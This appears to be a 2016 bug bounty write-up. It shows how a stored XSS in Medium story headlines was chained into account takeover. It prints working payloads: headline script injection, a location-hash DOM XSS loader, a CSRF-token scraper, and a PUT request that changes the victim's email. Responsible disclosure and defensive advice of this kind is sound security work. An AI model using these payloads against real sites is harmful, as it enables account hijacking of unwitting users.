Thursday, June 23, 2016

Medium Full Account Takeover






Hi .

Before 2 days ago I found A simple and limited XSS , so I developed to be full account takeover just by one click .


How it was start 

I was searching on google for some XSS vector there were a link to medium page that have XSS

 vectors . when I opened it I got XSSed ? !! I looking inside page and knew that there are something new here and cause this . after see the source code I found that the headline . 


After that I made an account and create new story with headline


1
"><script>alert(1337)</script>




And I got 




Wow so we got XSS now let's try to bring XSS file from outside because the headline was limited length . 

Let's try to bring XSS file form another server . like (http://xxe-me.esy.es/xss.js) . 

Let's try it out . 





If you open the page nothing will happen ! why ? there were a CSP




What is CSP ? 


CSP stands for Content Security Policy . 

Is an W3C specification offering the possbility to instruct the client browser from which location and/or which type of resources are allowed to be loaded. To define a loading behavior, the CSP specification use "directive" where a directive defines a loading behavior for a target resource type. (OWASP)

Medium CSP is : 


1
content-security-policy: default-src 'self'; connect-src https://localhost https://*.instapaper.com https://*.stripe.com https://getpocket.com https://medium.com:443 https://*.medium.com:443 https://*.medium.com https://medium.com https://*.medium.com https://*.algolia.net https://cdn-static-1.medium.com https://dnqgz544uhbo8.cloudfront.net 'self'; font-src data: https://*.amazonaws.com https://*.medium.com https://*.gstatic.com https://dnqgz544uhbo8.cloudfront.net https://use.typekit.net https://cdn-static-1.medium.com 'self'; frame-src chromenull: https: webviewprogressproxy: medium: 'self'; img-src blob: data: https: 'self'; media-src https://*.cdn.vine.co https://d1fcbxp97j4nb2.cloudfront.net https://d262ilb51hltx0.cloudfront.net https://medium2.global.ssl.fastly.net https://*.medium.com https://gomiro.medium.com https://miro.medium.com https://pbs.twimg.com 'self'; object-src 'self'; script-src 'unsafe-eval' 'unsafe-inline' about: https: 'self'; style-src 'unsafe-inline' data: https: 'self'; report-uri https://csp.medium.com


If you see the CSP the script-src use unsafe-inline without nonce for this reason the page doesn't prevent the XSS in the original page  .

It is common mistake as Michele Spagnuolo and Lukas Weichselbaum  said at HITB conference .







Now I found this but I didn't stop there I was thinking in give a good PoC for stealing CSRF token and make a request since the email change doesn't require a password confirmation . 

   
But wait ? we can not write a full script in the headline because the length of the headline is quite short and the single and double quotes were changed to Unicode  .  Nothing works I went to sleep . 


 In the next day I open the facebook and chat with some friends about my problem they give advise but nothing work out . 

Last idea I got is change the stored XSS to DOM XSS and it was really a great idea but I was not sure about it because if we clear the page we won't be able to steal the token . 





The token was in the same page  and it is called (xsrfToken) . 

Now time for some javascript :) 

For headline name I used 




1
"><script>document.write(decodeURIComponent(window.location.hash));</script>


The document.wirte for write the new PoC on page , decodeURIComponent for the URL decode , and all of the new PoC will be in the  window.location.hash . 





I wrote this simple token finder and tested locally .

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<html>
<head>
 <script> 
function myFunction() { 
var str = document.body.innerHTML; 
var n = str.lastIndexOf('xsrfToken'); 
var result = str.substring(n + 12); 
if(result.length > 16){ result = result.substring(0,16); 
alert('Your token is ' + result);
}
}
</script>
</head>
<body>
xsrfToken":"HZuv9jqWJvnqO0pF"
<img src='x' onerror='myFunction()'> 
</body>
</html>
I used the js to check page for xsrfToken and show in alert box locally and then I used in the medium website . and img tag for trigger the XSS .




PoC :



1
https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src-x-6c98f1e159ca#<script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken');var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">




Works good !

But after get the token I wasn't  able to send request ! Because the change request sent through PUT  method and SOP prevent send the request from another origin .

So I need to make the request form the current page . So I wrote the full poc that send request to (https://medium.com/me/email) with json data (email :abdullah.test1@gmail.com)

PoC :



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<script> function myFunction() {
 var str = document.body.innerHTML;
 var n = str.lastIndexOf('xsrfToken');
 var result = str.substring(n   12);
 if(result.length > 16) {result = result.substring(0,16); alert('Your token is ' +  result) };
 var xhr = new XMLHttpRequest();
 xhr.open('PUT', 'https://medium.com/me/email');
 xhr.setRequestHeader('Content-Type', 'application/json');
 xhr.setRequestHeader('X-XSRF-Token', result);
 xhr.onload = function() {
  if (xhr.status === 200) {
  alert('ok');
 } } ;
 xhr.send(JSON.stringify({"email":"abdullah.test1@gmail.com"}));
} </script>
<img onerror="myFunction();" src=x>


Full PoC here .


And the PUT request works ! and the email got change !!

 



I send  the full PoC and I got repay in the first day . After 2 days they contact me and rewarded me with $100 :p :/ . I was disappointed but at least I will get medium shirt :D .


Update : I got medium shirt :) 







See the PoC  video :






Conclusion 

  • Using nonce in your CSP . 
  • Make password confirm for email change mechanism . 
  • When you set new feature make sure it is secure .    

Links 

That is all thanks for read .If you like it you can follow me on my twitter account @Abdulahhusam .